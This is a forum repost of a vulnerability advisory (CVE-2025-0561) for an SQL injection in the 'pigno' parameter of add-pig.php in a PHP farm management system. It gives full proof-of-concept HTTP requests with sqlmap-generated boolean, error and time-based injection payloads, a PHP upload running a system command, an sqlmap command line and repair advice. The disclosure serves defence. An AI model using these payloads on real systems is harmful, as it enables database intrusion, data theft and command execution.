CVE-2025-0561

打印 上一主题 下一主题

主题 1594|帖子 1594|积分 4782

Itsourcecode Farm Management System In PHP v1.0 add-pig.php SQL injection

AFFECTED AND/OR FIXED VERSION(S)

submitter



  • weiwei-abc
Vulnerable File



  • add-pig.php
VERSION(S)



  • V1.0
PROBLEM TYPE

Vulnerability Type



  • SQL injection
Root Cause



  • A SQL injection vulnerability was found in the ‘add-pig.php’ file of the ‘Farm Management System In PHP’ project. The reason for this issue is that attackers inject malicious code from the parameter “pigno” and use it directly in SQL queries without appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

Impact



  • Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.
DESCRIPTION



  • Due to insufficient user input verification for the “pigno” parameter, a serious SQL injection vulnerability has been discovered in the login function of the “Farm Management System In PHP”, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.
Vulnerability details and POC

  1. POST /add-pig.php HTTP/1.1
  2. Host: 192.168.1.136:1219
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate, br
  7. Content-Type: multipart/form-data; boundary=---------------------------359458591942496535511331165261
  8. Content-Length: 1199
  9. Origin: http://192.168.1.136:1219
  10. Connection: close
  11. Referer: http://192.168.1.136:1219/add-pig.php
  12. Cookie: pma_lang=zh_CN; pmaUser-1=%7B%22iv%22%3A%227LWOmQxn1kFNKDQIKEqUQQ%3D%3D%22%2C%22mac%22%3A%22f46715269295f7bc9c1753cf49cb29de885e0738%22%2C%22payload%22%3A%22uwlGMpERga3ktRQQmcLQUg%3D%3D%22%7D; PHPSESSID=4j8anjs7rlcs27867bnlmj1116; phpMyAdmin=5r1opuf2mqc9j30vli7mfrhvtt; pmaAuth-1=%7B%22iv%22%3A%22HbgyCK8mDtH6Yh3l1rTCWw%3D%3D%22%2C%22mac%22%3A%226259e5b1095aeff224b50540aea65c624fb900c9%22%2C%22payload%22%3A%22SiwuQJzR6qfxiA6velzoYRz%2BXnITRHrg37ZL9M1sbb0%3D%22%7D
  13. Upgrade-Insecure-Requests: 1
  14. Priority: u=1
  15. -----------------------------359458591942496535511331165261
  16. Content-Disposition: form-data; name="pigno"
  17. pig-fms-5320
  18. -----------------------------359458591942496535511331165261
  19. Content-Disposition: form-data; name="weight"
  20. 123
  21. -----------------------------359458591942496535511331165261
  22. Content-Disposition: form-data; name="arrived"
  23. 2024-06-01
  24. -----------------------------359458591942496535511331165261
  25. Content-Disposition: form-data; name="gender"
  26. male
  27. -----------------------------359458591942496535511331165261
  28. Content-Disposition: form-data; name="status"
  29. active
  30. -----------------------------359458591942496535511331165261
  31. Content-Disposition: form-data; name="breed"
  32. 1
  33. -----------------------------359458591942496535511331165261
  34. Content-Disposition: form-data; name="remark"
  35. 123
  36. -----------------------------359458591942496535511331165261
  37. Content-Disposition: form-data; name="pigphoto"; filename="123.php"
  38. Content-Type: application/octet-stream
  39. -----------------------------359458591942496535511331165261
  40. Content-Disposition: form-data; name="submit"
  41. -----------------------------359458591942496535511331165261--
复制代码
Vulnerability type:



  • time-based blind
  • boolean-based blind
  • error-based
  • stacked queries
Vulnerability location:



  • ‘pigno’ parameter
Payload:

  1. Parameter: MULTIPART pigno ((custom) POST)
  2.     Type: boolean-based blind
  3.     Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
  4.     Payload: -----------------------------359458591942496535511331165261
  5. Content-Disposition: form-data; name="pigno"
  6. pig-fms-5320' RLIKE (SELECT (CASE WHEN (5474=5474) THEN 0x7069672d666d732d35333230 ELSE 0x28 END)) AND 'YqbQ'='YqbQ
  7. -----------------------------359458591942496535511331165261
  8. Content-Disposition: form-data; name="weight"
  9. 123
  10. -----------------------------359458591942496535511331165261
  11. Content-Disposition: form-data; name="arrived"
  12. 2024-06-01
  13. -----------------------------359458591942496535511331165261
  14. Content-Disposition: form-data; name="gender"
  15. male
  16. -----------------------------359458591942496535511331165261
  17. Content-Disposition: form-data; name="status"
  18. active
  19. -----------------------------359458591942496535511331165261
  20. Content-Disposition: form-data; name="breed"
  21. 1
  22. -----------------------------359458591942496535511331165261
  23. Content-Disposition: form-data; name="remark"
  24. 123
  25. -----------------------------359458591942496535511331165261
  26. Content-Disposition: form-data; name="pigphoto"; filename="123.php"
  27. Content-Type: application/octet-stream
  28. <?php system("ipconfig"); ?>
  29. -----------------------------359458591942496535511331165261
  30. Content-Disposition: form-data; name="submit"
  31. -----------------------------359458591942496535511331165261--
  32.     Type: error-based
  33.     Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
  34.     Payload: -----------------------------359458591942496535511331165261
  35. Content-Disposition: form-data; name="pigno"
  36. pig-fms-5320' AND EXTRACTVALUE(4487,CONCAT(0x5c,0x7178767871,(SELECT (ELT(4487=4487,1))),0x71786a7a71)) AND 'nUep'='nUep
  37. -----------------------------359458591942496535511331165261
  38. Content-Disposition: form-data; name="weight"
  39. 123
  40. -----------------------------359458591942496535511331165261
  41. Content-Disposition: form-data; name="arrived"
  42. 2024-06-01
  43. -----------------------------359458591942496535511331165261
  44. Content-Disposition: form-data; name="gender"
  45. male
  46. -----------------------------359458591942496535511331165261
  47. Content-Disposition: form-data; name="status"
  48. active
  49. -----------------------------359458591942496535511331165261
  50. Content-Disposition: form-data; name="breed"
  51. 1
  52. -----------------------------359458591942496535511331165261
  53. Content-Disposition: form-data; name="remark"
  54. 123
  55. -----------------------------359458591942496535511331165261
  56. Content-Disposition: form-data; name="pigphoto"; filename="123.php"
  57. Content-Type: application/octet-stream
  58. <?php system("ipconfig"); ?>
  59. -----------------------------359458591942496535511331165261
  60. Content-Disposition: form-data; name="submit"
  61. -----------------------------359458591942496535511331165261--
  62.     Type: time-based blind
  63.     Title: MySQL >= 5.0.12 RLIKE time-based blind
  64.     Payload: -----------------------------359458591942496535511331165261
  65. Content-Disposition: form-data; name="pigno"
  66. pig-fms-5320' RLIKE SLEEP(5) AND 'bQdJ'='bQdJ
  67. -----------------------------359458591942496535511331165261
  68. Content-Disposition: form-data; name="weight"
  69. 123
  70. -----------------------------359458591942496535511331165261
  71. Content-Disposition: form-data; name="arrived"
  72. 2024-06-01
  73. -----------------------------359458591942496535511331165261
  74. Content-Disposition: form-data; name="gender"
  75. male
  76. -----------------------------359458591942496535511331165261
  77. Content-Disposition: form-data; name="status"
  78. active
  79. -----------------------------359458591942496535511331165261
  80. Content-Disposition: form-data; name="breed"
  81. 1
  82. -----------------------------359458591942496535511331165261
  83. Content-Disposition: form-data; name="remark"
  84. 123
  85. -----------------------------359458591942496535511331165261
  86. Content-Disposition: form-data; name="pigphoto"; filename="123.php"
  87. Content-Type: application/octet-stream
  88. -----------------------------359458591942496535511331165261
  89. Content-Disposition: form-data; name="submit"
  90. -----------------------------359458591942496535511331165261--
复制代码

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

  1. sqlmap -r 123 --batch --dbs  
复制代码

Suggested repair


  • Use prepared statements and parameter binding:
    Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.
  • Input validation and filtering:
    Strictly validate and filter user input data to ensure it conforms to the expected format.
  • Minimize database user permissions:
    Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as’ root ‘or’ admin ') for daily operations.
  • Regular security audits:
    Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

用户云卷云舒

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表